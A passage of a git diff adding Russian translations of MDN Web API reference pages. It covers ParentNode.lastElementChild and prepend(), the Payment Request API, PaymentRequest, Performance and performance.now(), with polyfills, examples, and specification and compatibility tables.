+// Adds Document &amp; DocumentFragment support for IE9 &amp; Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.lastElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'lastElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = nodes.length - 1;
+                while (node = nodes[i--]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-lastelementchild', 'ParentNode.lastElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+
+
+<h2 id="Так_же_смотрите">Так же смотрите</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} pure interfaces.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/ru/web/api/parentnode/prepend/index.html b/files/ru/web/api/parentnode/prepend/index.html
new file mode 100644
index 0000000000..709a620f85
--- /dev/null
+++ b/files/ru/web/api/parentnode/prepend/index.html
@@ -0,0 +1,133 @@
+---
+title: ParentNode.prepend()
+slug: Web/API/ParentNode/prepend
+translation_of: Web/API/ParentNode/prepend
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <strong><code>ParentNode.prepend()</code></strong> вставляет множество объектов {{domxref("Node")}} или {{domxref("DOMString")}} в начало (перед первым потомком) {{domxref("ParentNode")}}. Объекты {{domxref("DOMString")}} вставляются как {{domxref("Text")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ParentNode</em>.prepend(<em>...nodesToPrepend</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>nodesToPrepend</code></dt>
+ <dd>Один или болле узлов, которые вставляются перед первым дочерним узлом в  <code>ParentNode</code>. Каждый узел может быть определен либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: Узел не может быть вставлен в указанную позицию данной иерархии.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Добавление_элемента_в_начало">Добавление элемента в начало</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ &lt;span&gt;, &lt;p&gt; ]
+</pre>
+
+<h3 id="Добавление_текста_в_начало">Добавление текста в начало</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"</pre>
+
+<h3 id="Добавление_элемента_и_текста">Добавление элемента и текста</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.prepend_не_имеет_области_видимости"><code>ParentNode.prepend()</code> не имеет области видимости</h3>
+
+<p>Метод <code>prepend()</code> не входит в область видимости оператора <code>with</code>. Смотрите {{jsxref("Symbol.unscopables")}} для детальной информации.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined </pre>
+
+<h2 id="Полифил">Полифил</h2>
+
+<p>Вы можете использовать полифил, если метод <code>prepend()</code> не доступный:</p>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('prepend')) {
+      return;
+    }
+    Object.defineProperty(item, 'prepend', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function prepend() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.insertBefore(docFrag, this.firstChild);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.ParentNode.prepend")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("ChildNode.before()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ru/web/api/payment_request_api/index.html b/files/ru/web/api/payment_request_api/index.html
new file mode 100644
index 0000000000..c59135cfe2
--- /dev/null
+++ b/files/ru/web/api/payment_request_api/index.html
@@ -0,0 +1,126 @@
+---
+title: Payment Request API
+slug: Web/API/Payment_Request_API
+translation_of: Web/API/Payment_Request_API
+---
+<div>{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}</div>
+
+<p><span class="seoSummary">Payment Request API предоставляет постоянный UX для продавцов и покупателей. Это не новый способ оплаты, а возможность пользователя выбрать предпочтительный способ оплаты и предоставить продавцу эту информацию.</span></p>
+
+<h2 id="Основы_и_использование_Payment_Request">Основы и использование Payment Request</h2>
+
+<p>Many problems related to online shopping-cart abandonment can be traced to checkout forms, which can be difficult and time consuming to fill out and often require multiple steps to complete. The <strong>Payment Request API</strong> is meant to reduce the number of steps needed to complete a payment online, potentially doing away with checkout forms. It aims to make the checkout process easier, by remembering a user's details, which are then passed along to a merchant hopefully without requiring a HTML form.</p>
+
+<p>Advantages of using the Payment Request API with "basic-card" (card-based payments):</p>
+
+<ul>
+ <li><strong>Fast purchase experience</strong>: Users enter their details once into the browser and are then ready to pay for goods and services on the web. They no longer have to fill out the same details repeatedly across different sites.</li>
+ <li><strong>Consistent experience on every site (that supports the API):</strong> As the payment sheet is controlled by the browser, it can tailor the experience to the user. This can include localizing the UI into the user's preferred language.</li>
+ <li><strong>Accessibility</strong>: As the browser controls the input elements of the payment sheet, it can assure consistent keyboard and screen reader accessibility on every website without developers needing to do anything. A browser could also adjust the font size or color contrast of the payment sheet, making it more comfortable for the user to make a payment.</li>
+ <li><strong>Credentials management</strong>: Users can manage their credit cards and shipping addresses directly in the browser. A browser can also sync these "credentials" across devices, making it easy for users to jump from desktop to mobile and back again when buying things.</li>
+ <li><strong>Consistent error handling:</strong> The browser can check the validity of card numbers, and can tell the user if a card has expired (or is about to expire). The browser can automatically suggest which card to use based on past usage patterns or restrictions from the merchant (e.g, "we only accept Visa or Mastercard"), or allow the user to say which is their default/favorite card.</li>
+</ul>
+
+<p>To request a payment, a web page creates a {{domxref("PaymentRequest")}} object in response to a user action that initiates a payment, such as clicking a "Purchase" button. The <code>PaymentRequest</code> allows the web page to exchange information with the user agent while the user provides input to complete the transaction.</p>
+
+<p>You can find a complete guide in <a href="/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">Using the Payment Request API</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The API is available inside cross-origin {{htmlelement("iframe")}} elements only if they have had the {{htmlattrxref("allowpaymentrequest","iframe")}} attribute set on them.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref('PaymentAddress')}}</dt>
+ <dd>An object that contains address information; used for billing and shipping addresses, for example.</dd>
+ <dt>{{domxref('PaymentRequest')}}</dt>
+ <dd>An object that provides the API for creating and managing the {{Glossary("user agent", "user agent's")}} payment interface.</dd>
+ <dt>{{domxref('PaymentRequestEvent')}}</dt>
+ <dd>An event delivered to a payment handler when a {{domxref("PaymentRequest")}} is made.</dd>
+ <dt>{{domxref('PaymentRequestUpdateEvent')}}</dt>
+ <dd>Enables the web page to update the details of the payment request in response to a user action.</dd>
+ <dt>{{domxref('PaymentMethodChangeEvent')}}</dt>
+ <dd>Represents the user changing payment instrument (e.g., switching from a credit card to debit card).</dd>
+ <dt>{{domxref('PaymentResponse')}}</dt>
+ <dd>An object returned after the user selects a payment method and approves a payment request.</dd>
+ <dt>{{domxref('MerchantValidationEvent')}}</dt>
+ <dd>Represents the browser requiring the merchant (website) to validate themselves as allowed to use a particular payment handler (e.g., registered as allowed to use Apple Pay).</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Dictionaries">Dictionaries</h2>
+
+<dl>
+ <dt>{{domxref("AddressErrors")}}</dt>
+ <dd>A dictionary containing strings providing descriptive explanations of any errors in any {{domxref("PaymentAddress")}} entries which have errors.</dd>
+ <dt>{{domxref("PayerErrors")}}</dt>
+ <dd>A dictionary containing strings providing descriptive explanations of any errors in related to {{domxref("PaymentResponse")}}'s email, phone, and name attributes.</dd>
+ <dt>{{domxref("PaymentDetailsUpdate")}}</dt>
+ <dd>An object describing changes that need to be made to the payment details in the event that the server needs to update information following the instantiation of the payment interface but before the user begins to interact with it.</dd>
+</dl>
+
+<h3 id="Related_dictionaries_for_the_Basic_Card_specification">Related dictionaries for the Basic Card specification</h3>
+
+<dl>
+ <dt>{{domxref("BasicCardChangeDetails")}}</dt>
+ <dd>An object providing <em>redacted</em> address information that is provided as the {{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}} on the {{event("paymentmethodchange")}} event sent to the {{domxref("PaymentRequest")}} when the user changes payment information.</dd>
+ <dt>{{domxref("BasicCardErrors")}}</dt>
+ <dd>An object providing any error messages associated with the fields in the {{domxref("BasicCardResponse")}} object that are not valid. This is used as the value of the {{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}} property on the {{domxref("PaymentValidationErrors")}} object sent to the {{domxref("PaymentRequest")}} when an error occurs.</dd>
+ <dt>{{domxref('BasicCardRequest')}}</dt>
+ <dd>Defines an object structure for containing payment request details such as card type.</dd>
+ <dt>{{domxref('BasicCardResponse')}}</dt>
+ <dd>Defines an object structure for payment response details such as the number/expiry date of the card used to make the payment, and the billing address.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment')}}</td>
+   <td>{{Spec2('Payment')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Basic Card Payment')}}</td>
+   <td>{{Spec2('Basic Card Payment')}}</td>
+   <td>Defines {{domxref("BasicCardRequest")}} and {{domxref("BasicCardResponse")}}, among other things needed for handling credit card payment</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment Method Identifiers')}}</td>
+   <td>{{Spec2('Payment Method Identifiers')}}</td>
+   <td>Defines payment method identifiers and how they are validated, and, where applicable, minted and formally registered with the W3C.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="PaymentRequest_interface">PaymentRequest interface</h3>
+
+<div>
+
+
+<p>{{Compat("api.PaymentRequest", 0)}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">Using the Payment Request API</a></li>
+ <li><a href="/en-US/docs/Web/API/Payment_Request_API/Concepts">Payment processing concepts</a></li>
+ <li><a href="https://webkit.org/blog/8182/introducing-the-payment-request-api-for-apple-pay/">Introducing the Payment Request API for Apple Pay</a></li>
+ <li><a href="https://developers.google.com/pay/api/web/guides/paymentrequest/tutorial">Google Pay API PaymentRequest Tutorial</a></li>
+ <li><a href="https://github.com/w3c/payment-request-info/wiki/FAQ">W3C Payment Request API FAQ</a></li>
+ <li>Feature Policy directive {{httpheader("Feature-Policy/payment", "payment")}}</li>
+</ul>
diff --git a/files/ru/web/api/paymentrequest/index.html b/files/ru/web/api/paymentrequest/index.html
new file mode 100644
index 0000000000..8f3f1eca7f
--- /dev/null
+++ b/files/ru/web/api/paymentrequest/index.html
@@ -0,0 +1,112 @@
+---
+title: PaymentRequest
+slug: Web/API/PaymentRequest
+tags:
+  - API
+  - Payment Request API
+  - PaymentRequest
+  - Деньги
+  - Интерфейс
+  - Коммерция
+  - Оплата
+  - Платежи
+translation_of: Web/API/PaymentRequest
+---
+<div>{{securecontext_header}}{{APIRef("Payment Request API")}}</div>
+
+<p>The <a href="/en-US/docs/Web/API/Payment_Request_API">Payment Request API's</a> <strong><code>PaymentRequest</code></strong> interface the primary access point into the API, and lets web content and apps accept payments from the end user on behalf of the operator of the site or the publisher of the app.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.PaymentRequest()','PaymentRequest()')}} {{securecontext_inline}}</dt>
+ <dd>Создаёт новый <code>PaymentRequest</code> объект.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.id')}} {{readonlyinline}}{{securecontext_inline}}</dt>
+ <dd>Уникальный идентификатор для конкретного запроса <code>PaymentRequest</code>, который можно задать через <code>details.id</code>. Если ничего не задано, по умолчанию используется UUID.</dd>
+ <dt>{{domxref('PaymentRequest.shippingAddress')}} {{readonlyinline}} {{securecontext_inline}}</dt>
+ <dd>If requested via payment options, returns the shipping address chosen by the user for the purposes of calculating shipping. This property is only populated if the constructor is called with the <code>requestShipping</code> flag set to true. Additionally, in some browsers, the parts of the address will be redacted for privacy until the user indicates they are ready to complete the transaction (i.e., they hit "Pay").</dd>
+ <dt>{{domxref('PaymentRequest.shippingOption')}} {{readonlyinline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает идентификатор выбранного варианта доставки. Это свойство заполняется только в том случае, если конструктор вызывается с флагом <code>requestShipping</code>, установленным в значение true.</dd>
+ <dt>{{domxref('PaymentRequest.shippingType')}} {{readonlyinline}} {{securecontext_inline}}</dt>
+ <dd>Returns the type of shipping used to fulfill the transaction. This will be one of <code>shipping</code>, <code>delivery</code>, <code>pickup</code>, or <code>null</code> if a value was not provided in the constructor.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.canMakePayment()')}} {{securecontext_inline}}</dt>
+ <dd>Indicates whether the <code>PaymentRequest</code> object can make a payment before calling <code>show()</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.show()')}} {{securecontext_inline}}</dt>
+ <dd>Causes the user agent to begin the user interaction for the payment request.</dd>
+ <dt>{{domxref('PaymentRequest.abort()')}} {{securecontext_inline}}</dt>
+ <dd>Causes the user agent to end the payment request and to remove any user interface that might be shown.</dd>
+</dl>
+
+<h2 id="События">События</h2>
+
+<dl>
+ <dt>{{domxref("PaymentRequest.merchantvalidation_event", "merchantvalidation")}} {{securecontext_inline}}</dt>
+ <dd>With some payment handlers (e.g., Apple Pay), this event handler is called to handle the {{event("merchantvalidation")}} event, which is dispatched when the user agent requires that the merchant validate that the merchant or vendor requesting payment is legitimate.<br>
+ Also available using the {{domxref("PaymentRequest.onmerchantvalidation", "onmerchantvalidation")}} event handler property.</dd>
+ <dt>{{domxref("PaymentRequest.paymentmethodchange_event", "paymentmethodchange")}} {{securecontext_inline}}</dt>
+ <dd>With some payment handlers (e.g., Apple Pay), dispatched whenever the user changes payment instrument, like switching from a credit card to a debit card.<br>
+ Also available using the {{domxref("PaymentRequest.onpaymentmethodchange", "onpaymentmethodchange")}} event handler property.</dd>
+ <dt>{{domxref("PaymentRequest.shippingaddresschange_event", "shippingaddresschange")}} {{securecontext_inline}}</dt>
+ <dd>Срабатывает каждый раз, когда пользователь меняет вариант доставки.<br>
+ Также доступно с использованием HTML атрибута {{domxref("PaymentRequest.onshippingaddresschange", "onshippingaddresschange")}}.</dd>
+ <dt>{{domxref("PaymentRequest.shippingoptionchange_event", "shippingoptionchange")}} {{securecontext_inline}}</dt>
+ <dd>Срабатывает каждый раз, когда пользователь меняет вариант доставки.<br>
+ Также доступно с использованием HTML атрибута {{domxref("PaymentRequest.onshippingoptionchange", "onshippingoptionchange")}}.</dd>
+</dl>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment','#paymentrequest-interface','PaymentRequest')}}</td>
+   <td>{{Spec2('Payment')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.PaymentRequest")}}</p>
+</div>
+
+<div id="gtx-anchor" style="position: absolute; left: 40px; top: 2184px; width: 409.484px; height: 17px;"></div>
+
+<div class="jfk-bubble gtx-bubble" style="">
+<div class="jfk-bubble-content-id" id="bubble-20">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowdown" style="left: 184.5px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/web/api/performance/index.html b/files/ru/web/api/performance/index.html
new file mode 100644
index 0000000000..bebba70e41
--- /dev/null
+++ b/files/ru/web/api/performance/index.html
@@ -0,0 +1,106 @@
+---
+title: Performance
+slug: Web/API/Performance
+tags:
+  - API
+  - Navigation Timing
+  - NeedsTranslation
+  - Performance
+  - TopicStub
+translation_of: Web/API/Performance
+---
+<div>{{APIRef("Navigation Timing")}}</div>
+
+<p>Интерфейс <strong><code>Performance</code></strong> представляет информацию о производительности страницы с временными метками.</p>
+
+<p>Объект этого типа может быть получен в результате вызова атрибута {{domxref("Window.performance")}}, доступного только для чтения.</p>
+
+<div class="note">
+<p><strong><em>Замечание</em>: </strong>Этот интерфейс и его составляющие доступны в <a href="/ru/docs/Web/API/Web_Workers_API">фоновых потоках выполнения</a>, за исключением случаев, перечисленных ниже. Заметим, что некоторые доступные части интерфейса еще не документированы (подробнее см. разделы документации <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> и <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a>). Также заметим, что временные метки производительности относятся к текущему контексту. Если Вы создадите метку в основном потоке (или в другом фоновом потоке), то ее нельзя будет увидеть в другом фоновом потоке и наоборот.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>Performance</code> не наследует никаких других свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("Performance.navigation")}} {{readonlyInline}}</dt>
+ <dd>Объект {{domxref("PerformanceNavigation")}}, представляющий тип навигации в текущем контексте браузера, как, например, количество перенаправлений, которые нужно пройти, чтобы получить ресурс. Not available in workers.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Performance.onresourcetimingbufferfull")}}</dt>
+ <dd>Функция обратного вызова, реализующая интерфейс {{domxref("EventTarget")}}, вызываемая при наступлении события {{event("resourcetimingbufferfull")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Performance.timing")}} {{readonlyInline}}</dt>
+ <dd>Объект {{domxref("PerformanceTiming")}}, содержащий информацию о производительности, связанной со временем задержек. Not available in workers.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><em>Интерфейс <code>Performance</code> не наследует других методов</em></em>.</p>
+
+<dl>
+ <dt>{{domxref("Performance.clearMarks()")}}</dt>
+ <dd>Удаляет из буфера записей производительности браузера указанную <em>временну́ю метку</em>.</dd>
+ <dt>{{domxref("Performance.clearMeasures()")}}</dt>
+ <dd>Удаляет из буфера записей производительности браузера указанное <em>измерение</em>.</dd>
+ <dt>{{domxref("Performance.clearResourceTimings()")}}</dt>
+ <dd>Удаляет все {{domxref("PerformanceEntry","записи о производительности")}} со свойством {{domxref("PerformanceEntry.entryType","entryType")}} равным "<code>resource</code>" из буфера данных производительности браузера.</dd>
+ <dt>{{domxref("Performance.getEntries()")}}</dt>
+ <dd>Возвращает список объектов {{domxref("PerformanceEntry")}}, руководствуясь переданным аргументом <em>filter.</em></dd>
+ <dt>{{domxref("Performance.getEntriesByName()")}}</dt>
+ <dd>Возвращает список объектов {{domxref("PerformanceEntry")}}, руководствуясь аргументами <em>name</em> (название) and <em>entry type</em> (тип записи).</dd>
+ <dt>{{domxref("Performance.getEntriesByType()")}}</dt>
+ <dd>Возвращает список объектов {{domxref("PerformanceEntry")}} переданного, как аргумент, <em>типа записи</em>.</dd>
+ <dt>{{domxref("Performance.mark()")}}</dt>
+ <dd>Создает {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в <em>буфере записей производительности.</em></dd>
+ <dt>{{domxref("Performance.measure()")}}</dt>
+ <dd>Создает именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определенными метками (известных как <em>start mark</em> (начальная метка) и <em>end mark </em>(конечная метка), соответственно).</dd>
+ <dt>{{domxref("Performance.now()")}}</dt>
+ <dd>Возвращает объект {{domxref("DOMHighResTimeStamp")}}, представляющий количество милисекунд, прошедших с начала момента отсчета.</dd>
+ <dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt>
+ <dd>Устанавливает размер буфера измерения ресурсов браузера равным указанному числу объектов {{domxref("PerformanceEntry","записей производительности")}} {{domxref("PerformanceEntry.entryType","типа")}} "<code>resource</code>".</dd>
+ <dt>{{domxref("Performance.toJSON()")}}</dt>
+ <dd>Возвращает json объект, представляющий объект <code>Performance.</code></dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#sec-extenstions-performance-interface', 'Performance')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Добавлен метод now()</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Performance")}}</p>
+</div>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Похожие интерфейсы: {{domxref("PerformanceTiming")}}, {{domxref("PerformanceNavigation")}}.</li>
+</ul>
diff --git a/files/ru/web/api/performance/now/index.html b/files/ru/web/api/performance/now/index.html
new file mode 100644
index 0000000000..ca825b059f
--- /dev/null
+++ b/files/ru/web/api/performance/now/index.html
@@ -0,0 +1,138 @@
+---
+title: performance.now()
+slug: Web/API/Performance/now
+tags:
+  - API
+  - Performance
+  - Web Performance API
+translation_of: Web/API/Performance/now
+---
+<p>{{APIRef("Navigation Timing")}}</p>
+
+<h2 id="Краткое_описание">Краткое описание</h2>
+
+<p>Метод <code><strong>performance.now()</strong></code> возращает временную метку {{domxref("DOMHighResTimeStamp")}}, измеряемую в миллисекундах, с точностью до одной тысячной миллисекунды.</p>
+
+<p>Значение, представленное типом {{domxref("DOMHighResTimeStamp")}}, изменяется в зависимости от контекста. Стоит иметь ввиду следующее:</p>
+
+<ul>
+ <li>в разделяемых или выделенных потоках выполнения, началом эпохи считается момент начала работы потока.</li>
+ <li>вне потоков выполнения, или в выделенных потоках, созданных в контексте {{domxref("Window")}}, началом эпохи считается значение свойства {{domxref("PerformanceTiming.navigationStart")}}.</li>
+ <li>в выделенных потоках выполнения, созданных из другого потока, началом эпохи устанавливается начало эпохи этого самого потока.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>t</em> = <em>performance</em>.now();</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var t0 = performance.now();
+doSomething();
+var t1 = performance.now();
+console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.")
+</pre>
+
+<p>В отличие от других временны́х типов данных, доступных в JavaScript (таких как <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), метки времени, возвращенные из <code>performance.now(),</code> не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.</p>
+
+<p>Также, в противоположность <code>Date.now</code>, значение, возвращаемое из <code>performance.now(), всегда возрастает с постоянной скоростью, независимо от системного времени </code>(которое может быть установленно вручную или изменено программами наподобие NTP).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#dom-performance-now', 'Performance.now()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Более строгие определения типов и интерфейсов.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#dom-performance-now', 'Performance.now()')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
